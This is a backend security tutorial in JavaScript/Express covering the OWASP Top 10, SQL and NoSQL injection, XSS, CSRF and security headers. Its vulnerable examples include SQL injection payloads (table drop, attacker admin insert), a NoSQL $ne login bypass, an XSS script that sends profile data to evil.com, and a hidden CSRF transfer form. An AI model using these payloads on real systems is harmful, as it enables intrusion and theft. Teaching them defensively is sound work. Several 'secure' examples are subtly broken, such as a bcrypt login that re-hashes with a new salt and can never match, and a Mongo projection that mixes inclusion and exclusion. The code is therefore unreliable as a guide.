Backend Security Fundamentals - 1/3
From Performance to Protection
You’ve mastered database scaling, implemented intelligent caching systems, built event-driven architectures, and created applications that handle millions of users with lightning-fast performance. Your backend systems can scale infinitely and process complex data orchestration with ease. But here’s the harsh reality that every developer eventually faces: no matter how perfectly architected and performant your application is, a single security vulnerability can destroy everything you’ve built in minutes.
The security wake-up call that changes everything:
// Your beautifully crafted, perfectly scaled application
const getUserProfile = async (req, res) => {
const userId = req.params.id; // Looks innocent enough, right?
// Optimized query with caching, read replicas, the works
const user = await db.executeRead(
`SELECT id, username, email, profile_data, created_at
FROM users WHERE id = '${userId}'` // 💣 SQL injection vulnerability
);
if (user) {
res.json({ success: true, user }); // 💣 Potential data exposure
} else {
res.status(404).json({ error: "User not found" });
}
};
// Attacker input: /users/1' OR '1'='1' --
// Query becomes: SELECT * FROM users WHERE id = '1' OR '1'='1' --'
// Result: Every user in your database exposed
// Scale doesn't matter when security fails
The uncomfortable truth: A single malicious request can bypass all your scaling efforts and compromise millions of user records. Security isn’t an add-on feature you implement later—it’s the foundation that determines whether your application protects or betrays user trust.
Real-world security breach consequences:
// What happens when security fails:
const securityBreach = {
immediateImpact: {
dataExposed: "2.5 million user records",
downtime: "72 hours",
emergencyResponse: "$500,000",
},
longTermDamage: {
userTrustLoss: "40% customer churn",
legalFines: "$2.8 million (GDPR + state regulations)",
reputationDamage: "Brand permanently associated with 'data breach'",
engineeringCosts: "6 months rebuilding security infrastructure",
competitiveLoss: "Users migrate to competitors",
},
// Your beautiful scaling architecture becomes irrelevant
// when nobody trusts your application with their data
};
Backend security mastery requires understanding:
- OWASP Top 10 vulnerabilities and how attackers exploit common weaknesses
- Input validation and sanitization that stops attacks before they reach your database
- XSS and CSRF protection that prevents client-side attacks from compromising sessions
- Secure coding practices that make vulnerabilities impossible by design
- HTTPS and security headers that protect data in transit and browser security
This article begins your security education by covering the most critical vulnerabilities that attack backend systems. You’ll learn to identify attack vectors, implement bulletproof defenses, and build applications that protect user data as fiercely as they optimize performance.
The OWASP Top 10: Your Security Threat Landscape
Understanding Modern Attack Vectors
The vulnerability hierarchy that attackers exploit:
// The OWASP Top 10 (2023) - ordered by risk and prevalence
const owaspTop10 = {
1: {
name: "Broken Access Control",
description: "Users can act outside of their intended permissions",
examples: [
"Accessing other users' data by changing URL parameters",
"Elevation of privilege (normal user becomes admin)",
"Bypassing authentication entirely",
"CORS misconfiguration allowing unauthorized domains",
],
},
2: {
name: "Cryptographic Failures",
description:
"Failures related to cryptography leading to sensitive data exposure",
examples: [
"Passwords stored in plaintext",
"Weak encryption algorithms",
"Missing encryption for sensitive data",
"Improper certificate validation",
],
},
3: {
name: "Injection",
description:
"Hostile data is sent to an interpreter as part of a command or query",
examples: [
"SQL injection",
"NoSQL injection",
"Command injection",
"LDAP injection",
],
},
4: {
name: "Insecure Design",
description: "Risks related to design and architectural flaws",
examples: [
"Missing or ineffective control design",
"Failure to use established secure design patterns",
"Lack of security requirements analysis",
],
},
5: {
name: "Security Misconfiguration",
description:
"Missing appropriate security hardening or improperly configured permissions",
examples: [
"Default credentials still enabled",
"Error messages revealing sensitive information",
"Missing security headers",
"Outdated software components",
],
},
// ... continues with vulnerabilities 6-10
};
Injection Attacks: The Database Destroyer
SQL Injection Prevention
The attack that can destroy everything:
// ❌ Vulnerable code that invites disaster
const getUserOrders = async (req, res) => {
const userId = req.params.userId;
const status = req.query.status;
// Direct string concatenation = invitation for attack
const query = `
SELECT o.id, o.total_amount, o.status, o.created_at,
u.email, u.full_name
FROM orders o
JOIN users u ON o.user_id = u.id
WHERE o.user_id = ${userId}
AND o.status = '${status}'
`;
const orders = await db.query(query);
res.json({ orders });
};
// Attacker payload examples:
// GET /users/123/orders?status=pending' OR '1'='1' --
// Result: All orders from all users exposed
//
// GET /users/123/orders?status='; DROP TABLE users; --
// Result: Your users table deleted
//
// GET /users/123/orders?status='; INSERT INTO admin_users (username, password) VALUES ('hacker', 'pwned'); --
// Result: Attacker creates admin account
Professional parameterized queries:
// ✅ Bulletproof parameterized queries
const OrderService = {
async getUserOrders(userId, status, options = {}) {
// Input validation first
const validatedInput = this.validateOrdersInput(userId, status, options);
try {
// Parameterized query - values are never interpreted as SQL
const query = `
SELECT
o.id,
o.total_amount,
o.status,
o.created_at,
o.shipping_address,
u.email,
u.full_name,
COUNT(*) OVER() as total_count
FROM orders o
JOIN users u ON o.user_id = u.id
WHERE o.user_id = $1
AND ($2::text IS NULL OR o.status = $2)
AND o.created_at >= $3
AND o.created_at <= $4
ORDER BY o.created_at DESC
LIMIT $5 OFFSET $6
`;
const result = await db.executeRead(query, [
validatedInput.userId,
validatedInput.status,
validatedInput.startDate,
validatedInput.endDate,
validatedInput.limit,
validatedInput.offset,
]);
return {
orders: result.rows,
pagination: {
total: result.rows[0]?.total_count || 0,
page: Math.floor(validatedInput.offset / validatedInput.limit) + 1,
limit: validatedInput.limit,
},
};
} catch (error) {
// Don't expose database errors to clients
console.error("Database error in getUserOrders:", error);
throw new Error("Failed to fetch orders");
}
},
validateOrdersInput(userId, status, options) {
const errors = [];
// Validate user ID
if (!userId || !Number.isInteger(Number(userId)) || Number(userId) <= 0) {
errors.push("Invalid user ID");
}
// Validate status
const validStatuses = [
"pending",
"processing",
"shipped",
"delivered",
"cancelled",
];
if (status && !validStatuses.includes(status)) {
errors.push("Invalid order status");
}
// Validate pagination
const page = Math.max(1, parseInt(options.page) || 1);
const limit = Math.min(100, Math.max(1, parseInt(options.limit) || 20));
const offset = (page - 1) * limit;
// Validate date range
const startDate = options.startDate
? new Date(options.startDate)
: new Date("2020-01-01");
const endDate = options.endDate ? new Date(options.endDate) : new Date();
if (startDate > endDate) {
errors.push("Start date cannot be after end date");
}
if (errors.length > 0) {
throw new ValidationError("Invalid input parameters", errors);
}
return {
userId: parseInt(userId),
status: status || null,
startDate,
endDate,
limit,
offset,
};
},
};
// Usage in controller
app.get("/users/:userId/orders", authenticateUser, async (req, res) => {
try {
// Ensure user can only access their own orders
if (req.user.id !== parseInt(req.params.userId)) {
return res.status(403).json({
error: "Access denied",
message: "You can only access your own orders",
});
}
const result = await OrderService.getUserOrders(
req.params.userId,
req.query.status,
{
page: req.query.page,
limit: req.query.limit,
startDate: req.query.startDate,
endDate: req.query.endDate,
}
);
res.json({
success: true,
data: result,
});
} catch (error) {
if (error instanceof ValidationError) {
return res.status(400).json({
error: "Validation failed",
details: error.details,
});
}
console.error("Orders endpoint error:", error);
res.status(500).json({
error: "Internal server error",
message: "Unable to fetch orders at this time",
});
}
});
NoSQL Injection Prevention
Modern databases, same old problems:
// ❌ MongoDB injection vulnerability
const getUserByCredentials = async (req, res) => {
const { username, password } = req.body;
// Dangerous direct object injection
const user = await db.users.findOne({
username: username,
password: password, // What if password is { $ne: null } ?
});
if (user) {
res.json({ success: true, user });
} else {
res.status(401).json({ error: "Invalid credentials" });
}
};
// Attacker payload:
// POST /login
// {
// "username": "admin",
// "password": { "$ne": null }
// }
// Result: Bypasses password check for any user
Secure NoSQL query handling:
// ✅ Secure NoSQL operations with validation
class SecureUserService {
async authenticateUser(credentials) {
// Strict input validation
const validatedCredentials = this.validateCredentials(credentials);
try {
// Hash the provided password
const hashedPassword = await this.hashPassword(
validatedCredentials.password
);
// Safe query with explicit field matching
const user = await db.users.findOne(
{
username: { $eq: validatedCredentials.username },
password: { $eq: hashedPassword },
isActive: { $eq: true },
// Prevent timing attacks by always checking the same fields
$expr: { $eq: [{ $type: "$username" }, "string"] },
},
{
// Limit returned fields - never return sensitive data
projection: {
_id: 1,
username: 1,
email: 1,
role: 1,
createdAt: 1,
lastLoginAt: 1,
// Explicitly exclude sensitive fields
password: 0,
passwordResetToken: 0,
twoFactorSecret: 0,
},
}
);
if (user) {
// Update last login time
await db.users.updateOne(
{ _id: user._id },
{
$set: { lastLoginAt: new Date() },
$inc: { loginCount: 1 },
}
);
return user;
}
return null;
} catch (error) {
console.error("Authentication error:", error);
throw new Error("Authentication failed");
}
}
validateCredentials(credentials) {
if (!credentials || typeof credentials !== "object") {
throw new ValidationError("Invalid credentials format");
}
const { username, password } = credentials;
// Ensure values are strings (prevent object injection)
if (typeof username !== "string" || typeof password !== "string") {
throw new ValidationError("Username and password must be strings");
}
// Length validation
if (username.length < 3 || username.length > 50) {
throw new ValidationError("Username must be 3-50 characters");
}
if (password.length < 8 || password.length > 128) {
throw new ValidationError("Password must be 8-128 characters");
}
// Character validation (prevent injection attempts)
const usernameRegex = /^[a-zA-Z0-9_.-]+$/;
if (!usernameRegex.test(username)) {
throw new ValidationError("Username contains invalid characters");
}
return { username, password };
}
async hashPassword(password) {
const bcrypt = require("bcrypt");
const saltRounds = 12;
return await bcrypt.hash(password, saltRounds);
}
}
Cross-Site Scripting (XSS): The Client-Side Attacker
Understanding XSS Attack Vectors
How malicious scripts compromise users:
// ❌ Vulnerable comment system
const createComment = async (req, res) => {
const { postId, content } = req.body;
const userId = req.user.id;
// Direct storage without sanitization
const comment = await db.comments.create({
postId,
userId,
content, // Dangerous: could contain <script> tags
createdAt: new Date(),
});
res.json({ success: true, comment });
};
const getComments = async (req, res) => {
const { postId } = req.params;
const comments = await db.comments.find({ postId });
// Dangerous: sending raw content to frontend
res.json({ comments });
};
// Frontend renders directly (vulnerable):
// comments.forEach(comment => {
// div.innerHTML = comment.content; // XSS vulnerability
// });
// Attacker comment content:
// "<script>fetch('/api/user/profile').then(r=>r.json()).then(data=>fetch('https://evil.com/steal', {method:'POST', body:JSON.stringify(data)}))</script>"
// Result: Steals user data when comment is viewed
Professional XSS prevention:
// ✅ Comprehensive XSS protection
const DOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const validator = require("validator");
class SecureContentService {
constructor() {
// Initialize DOMPurify for server-side sanitization
const window = new JSDOM("").window;
this.purify = DOMPurify(window);
// Configure allowed tags and attributes
this.sanitizeConfig = {
ALLOWED_TAGS: [
"p",
"br",
"strong",
"em",
"u",
"ol",
"ul",
"li",
"blockquote",
"code",
"pre",
"h1",
"h2",
"h3",
"h4",
"h5",
"h6",
],
ALLOWED_ATTR: ["class"],
KEEP_CONTENT: true,
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
RETURN_DOM_IMPORT: false,
};
}
async createComment(commentData) {
// Multi-layer validation and sanitization
const validatedData = this.validateCommentInput(commentData);
try {
const sanitizedContent = this.sanitizeContent(validatedData.content);
const comment = await db.comments.create({
postId: validatedData.postId,
userId: validatedData.userId,
content: sanitizedContent,
originalContentHash: this.hashContent(validatedData.content), // For integrity checking
createdAt: new Date(),
updatedAt: new Date(),
isEdited: false,
});
// Log content creation for security monitoring
this.logContentCreation(comment, validatedData.userId);
return comment;
} catch (error) {
console.error("Comment creation error:", error);
throw new Error("Failed to create comment");
}
}
validateCommentInput(data) {
if (!data || typeof data !== "object") {
throw new ValidationError("Invalid comment data");
}
const { postId, userId, content } = data;
// Validate post ID
if (!postId || !validator.isMongoId(postId)) {
throw new ValidationError("Invalid post ID");
}
// Validate user ID
if (!userId || !validator.isMongoId(userId)) {
throw new ValidationError("Invalid user ID");
}
// Validate content
if (typeof content !== "string") {
throw new ValidationError("Content must be a string");
}
if (content.trim().length === 0) {
throw new ValidationError("Content cannot be empty");
}
if (content.length > 10000) {
throw new ValidationError("Content too long (max 10,000 characters)");
}
// Check for suspicious patterns
this.detectMaliciousContent(content);
return { postId, userId, content: content.trim() };
}
sanitizeContent(content) {
// Step 1: HTML encode to prevent script execution
let sanitized = validator.escape(content);
// Step 2: Allow safe HTML tags through DOMPurify
sanitized = this.purify.sanitize(sanitized, this.sanitizeConfig);
// Step 3: Additional custom sanitization
sanitized = this.removeJavascriptProtocols(sanitized);
sanitized = this.removeDataUrls(sanitized);
return sanitized;
}
detectMaliciousContent(content) {
// Pattern detection for common XSS attempts
const dangerousPatterns = [
/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
/javascript:/gi,
/on\w+\s*=/gi,
/<iframe\b/gi,
/<object\b/gi,
/<embed\b/gi,
/data:text\/html/gi,
/vbscript:/gi,
];
for (const pattern of dangerousPatterns) {
if (pattern.test(content)) {
// Log potential attack attempt
console.warn("Malicious content detected:", {
pattern: pattern.source,
content: content.substring(0, 200),
});
throw new SecurityError("Content contains potentially malicious code");
}
}
}
removeJavascriptProtocols(content) {
return content.replace(/javascript:/gi, "");
}
removeDataUrls(content) {
return content.replace(/data:[^;]*;base64,/gi, "");
}
hashContent(content) {
const crypto = require("crypto");
return crypto.createHash("sha256").update(content).digest("hex");
}
async getComments(postId) {
try {
const comments = await db.comments.find(
{ postId, isDeleted: { $ne: true } },
{
sort: { createdAt: 1 },
// Don't return original content hash or other internal fields
projection: {
originalContentHash: 0,
__v: 0,
},
}
);
// Additional server-side sanitization before sending to client
return comments.map((comment) => ({
...comment,
content: this.sanitizeForOutput(comment.content),
}));
} catch (error) {
console.error("Error fetching comments:", error);
throw new Error("Failed to fetch comments");
}
}
sanitizeForOutput(content) {
// Final sanitization layer before sending to client
return this.purify.sanitize(content, {
...this.sanitizeConfig,
// Even more restrictive for output
ALLOWED_TAGS: ["p", "br", "strong", "em", "code"],
});
}
logContentCreation(comment, userId) {
// Security event logging
const logEntry = {
timestamp: new Date(),
event: "content_created",
userId,
commentId: comment._id,
contentLength: comment.content.length,
ipAddress: this.getClientIP(), // Should be passed from request
userAgent: this.getUserAgent(), // Should be passed from request
};
// Send to security monitoring system
this.sendToSecurityLog(logEntry);
}
}
// Usage in controller with additional security headers
app.post(
"/posts/:postId/comments",
authenticateUser,
rateLimitComments, // Rate limiting middleware
async (req, res) => {
try {
// Set security headers
res.set({
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"X-XSS-Protection": "1; mode=block",
"Content-Security-Policy":
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'",
});
const contentService = new SecureContentService();
const comment = await contentService.createComment({
postId: req.params.postId,
userId: req.user.id,
content: req.body.content,
});
res.status(201).json({
success: true,
comment: {
id: comment._id,
content: comment.content,
createdAt: comment.createdAt,
userId: comment.userId,
},
});
} catch (error) {
if (error instanceof ValidationError) {
return res.status(400).json({
error: "Invalid input",
details: error.message,
});
}
if (error instanceof SecurityError) {
return res.status(400).json({
error: "Content rejected",
message: "Your content contains elements that are not allowed",
});
}
console.error("Comment creation failed:", error);
res.status(500).json({
error: "Failed to create comment",
});
}
}
);
Cross-Site Request Forgery (CSRF): The Session Hijacker
CSRF Attack Prevention
Understanding session-based attacks:
// ❌ Vulnerable endpoint without CSRF protection
app.post("/transfer-money", authenticateUser, async (req, res) => {
const { toAccount, amount } = req.body;
const fromUserId = req.user.id;
// This looks secure - user is authenticated
// But it's vulnerable to CSRF attacks
const transfer = await bankingService.transferMoney({
fromUserId,
toAccount,
amount,
});
res.json({ success: true, transfer });
});
// Attacker creates malicious website with hidden form:
// <form action="https://yourbank.com/transfer-money" method="POST">
// <input type="hidden" name="toAccount" value="attacker-account">
// <input type="hidden" name="amount" value="10000">
// <input type="submit" value="Click for free gift!">
// </form>
// When logged-in user clicks, money transfers to attacker
Professional CSRF protection:
// ✅ Comprehensive CSRF protection system
const crypto = require("crypto");
class CSRFProtection {
constructor() {
this.tokenStore = new Map(); // In production, use Redis
this.tokenExpiry = 24 * 60 * 60 * 1000; // 24 hours
this.secretKey = process.env.CSRF_SECRET_KEY;
if (!this.secretKey) {
throw new Error("CSRF_SECRET_KEY environment variable is required");
}
}
generateToken(sessionId) {
const timestamp = Date.now();
const randomBytes = crypto.randomBytes(32).toString("hex");
const payload = `${sessionId}:${timestamp}:${randomBytes}`;
// Create HMAC signature
const signature = crypto
.createHmac("sha256", this.secretKey)
.update(payload)
.digest("hex");
const token = `${payload}:${signature}`;
// Store token with expiry
this.tokenStore.set(token, {
sessionId,
createdAt: timestamp,
expiresAt: timestamp + this.tokenExpiry,
});
// Clean up expired tokens periodically
this.cleanupExpiredTokens();
return token;
}
validateToken(token, sessionId) {
if (!token || typeof token !== "string") {
return false;
}
const parts = token.split(":");
if (parts.length !== 4) {
return false;
}
const [tokenSessionId, timestamp, randomBytes, signature] = parts;
// Verify session match
if (tokenSessionId !== sessionId) {
return false;
}
// Verify signature
const payload = `${tokenSessionId}:${timestamp}:${randomBytes}`;
const expectedSignature = crypto
.createHmac("sha256", this.secretKey)
.update(payload)
.digest("hex");
if (
!crypto.timingSafeEqual(
Buffer.from(signature, "hex"),
Buffer.from(expectedSignature, "hex")
)
) {
return false;
}
// Check if token exists and is not expired
const storedToken = this.tokenStore.get(token);
if (!storedToken || storedToken.expiresAt < Date.now()) {
this.tokenStore.delete(token);
return false;
}
return true;
}
cleanupExpiredTokens() {
const now = Date.now();
for (const [token, data] of this.tokenStore.entries()) {
if (data.expiresAt < now) {
this.tokenStore.delete(token);
}
}
}
// Middleware to generate and attach CSRF token
attachToken(req, res, next) {
if (!req.session || !req.session.id) {
return res.status(401).json({ error: "Session required" });
}
const csrfToken = this.generateToken(req.session.id);
res.locals.csrfToken = csrfToken;
// Set token in response header for SPA applications
res.set("X-CSRF-Token", csrfToken);
next();
}
// Middleware to validate CSRF token
validateRequest(req, res, next) {
// Skip validation for GET, HEAD, OPTIONS (safe methods)
if (["GET", "HEAD", "OPTIONS"].includes(req.method)) {
return next();
}
if (!req.session || !req.session.id) {
return res.status(401).json({ error: "Session required" });
}
// Get token from multiple possible locations
const token =
req.headers["x-csrf-token"] || req.body._csrf || req.query._csrf;
if (!this.validateToken(token, req.session.id)) {
return res.status(403).json({
error: "Invalid CSRF token",
message: "This request appears to be forged",
});
}
next();
}
}
// Initialize CSRF protection
const csrfProtection = new CSRFProtection();
// Secure money transfer endpoint
app.post(
"/transfer-money",
authenticateUser,
csrfProtection.validateRequest.bind(csrfProtection),
rateLimitFinancialOperations,
async (req, res) => {
try {
const { toAccount, amount, description } = req.body;
const fromUserId = req.user.id;
// Additional security validations
const validatedTransfer = await validateTransferRequest({
fromUserId,
toAccount,
amount,
description,
userAgent: req.headers["user-agent"],
ipAddress: req.ip,
});
// Two-factor authentication for large amounts
if (amount > 5000) {
const tfaToken = req.headers["x-2fa-token"];
if (!(await twoFactorAuth.verify(fromUserId, tfaToken))) {
return res.status(403).json({
error: "Two-factor authentication required",
message: "Large transfers require 2FA verification",
});
}
}
const transfer = await bankingService.transferMoney(validatedTransfer);
// Log security event
securityLogger.logFinancialTransaction({
userId: fromUserId,
type: "money_transfer",
amount,
toAccount,
ipAddress: req.ip,
userAgent: req.headers["user-agent"],
timestamp: new Date(),
});
res.json({
success: true,
transfer: {
id: transfer.id,
amount: transfer.amount,
status: transfer.status,
createdAt: transfer.createdAt,
},
});
} catch (error) {
if (error instanceof ValidationError) {
return res.status(400).json({
error: "Invalid transfer request",
details: error.message,
});
}
console.error("Transfer failed:", error);
res.status(500).json({
error: "Transfer failed",
message: "Unable to process transfer at this time",
});
}
}
);
// API endpoint to get CSRF token
app.get(
"/csrf-token",
authenticateUser,
csrfProtection.attachToken.bind(csrfProtection),
(req, res) => {
res.json({ csrfToken: res.locals.csrfToken });
}
);
Security Headers: The First Line of Defense
Implementing Comprehensive Security Headers
Professional security header configuration:
// ✅ Complete security headers implementation
class SecurityHeaders {
static configure(app) {
// Apply security headers to all responses
app.use((req, res, next) => {
// Prevent clickjacking attacks
res.set("X-Frame-Options", "DENY");
// Prevent MIME type sniffing
res.set("X-Content-Type-Options", "nosniff");
// Enable XSS filtering (legacy, but still useful)
res.set("X-XSS-Protection", "1; mode=block");
// Control referrer information
res.set("Referrer-Policy", "strict-origin-when-cross-origin");
// Prevent Adobe Flash and PDF from loading
res.set("X-Permitted-Cross-Domain-Policies", "none");
// Remove server signature
res.removeHeader("X-Powered-By");
next();
});
// Content Security Policy
this.configureCSP(app);
// HTTPS Security
this.configureHTTPS(app);
// CORS Security
this.configureCORS(app);
}
static configureCSP(app) {
app.use((req, res, next) => {
const cspPolicy = [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com",
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"font-src 'self' https://fonts.gstatic.com",
"img-src 'self' data: https: blob:",
"media-src 'self' blob:",
"object-src 'none'",
"frame-src 'none'",
"worker-src 'self' blob:",
"child-src 'self'",
"form-action 'self'",
"base-uri 'self'",
"manifest-src 'self'",
"connect-src 'self' https://api.yourdomain.com",
"upgrade-insecure-requests",
].join("; ");
res.set("Content-Security-Policy", cspPolicy);
// Also set report-only header for testing
if (process.env.NODE_ENV === "development") {
res.set("Content-Security-Policy-Report-Only", cspPolicy);
}
next();
});
}
static configureHTTPS(app) {
app.use((req, res, next) => {
if (process.env.NODE_ENV === "production") {
// HTTP Strict Transport Security
res.set(
"Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload"
);
// Expect Certificate Transparency
res.set("Expect-CT", "max-age=86400, enforce");
// Redirect HTTP to HTTPS in production
if (!req.secure && req.get("X-Forwarded-Proto") !== "https") {
return res.redirect(301, `https://${req.get("Host")}${req.url}`);
}
}
next();
});
}
static configureCORS(app) {
const cors = require("cors");
const corsOptions = {
origin: (origin, callback) => {
// Define allowed origins
const allowedOrigins = [
"https://yourdomain.com",
"https://www.yourdomain.com",
"https://app.yourdomain.com",
];
// Allow requests with no origin (mobile apps, Postman, etc.)
if (!origin) return callback(null, true);
if (process.env.NODE_ENV === "development") {
// Allow localhost in development
if (origin.includes("localhost") || origin.includes("127.0.0.1")) {
return callback(null, true);
}
}
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
console.warn(`CORS blocked origin: ${origin}`);
callback(new Error("CORS policy violation"), false);
}
},
credentials: true, // Allow cookies
methods: ["GET", "POST", "PUT", "DELETE", "OPTIONS"],
allowedHeaders: [
"Content-Type",
"Authorization",
"X-CSRF-Token",
"X-2FA-Token",
"X-Requested-With",
],
exposedHeaders: [
"X-CSRF-Token",
"X-Rate-Limit-Remaining",
"X-Rate-Limit-Reset",
],
maxAge: 86400, // 24 hours
};
app.use(cors(corsOptions));
}
}
// Apply security headers to your Express app
SecurityHeaders.configure(app);
Key Takeaways
Backend security isn’t optional—it’s the foundation that determines whether your application protects or betrays user trust. Understanding the OWASP Top 10, preventing injection attacks, stopping XSS and CSRF vulnerabilities, and implementing security headers creates the defensive foundation every application needs.
The security mindset you must adopt:
- Trust nothing: Every input is potentially malicious until proven safe through validation and sanitization
- Defense in depth: Multiple security layers protect against single point failures
- Fail securely: When security checks fail, deny access rather than allowing potentially dangerous operations
- Log everything: Security events must be monitored and analyzed for attack detection
What distinguishes secure applications:
- Parameterized queries that make SQL injection impossible by design
- Input validation and sanitization that neutralizes malicious content before it reaches your system
- CSRF protection that prevents session-based attacks from compromising user accounts
- Security headers that instruct browsers to enforce additional protection layers
What’s Next
This article covered the fundamental vulnerabilities that attack backend systems. Next, we’ll dive deeper into cryptographic security with password hashing algorithms, encryption strategies, SSL/TLS implementation, and security auditing practices that protect sensitive data both at rest and in transit.
Security is like compound interest—every protection layer you implement makes attacks exponentially harder. You’re building systems that don’t just perform well—they actively defend against those who would exploit them.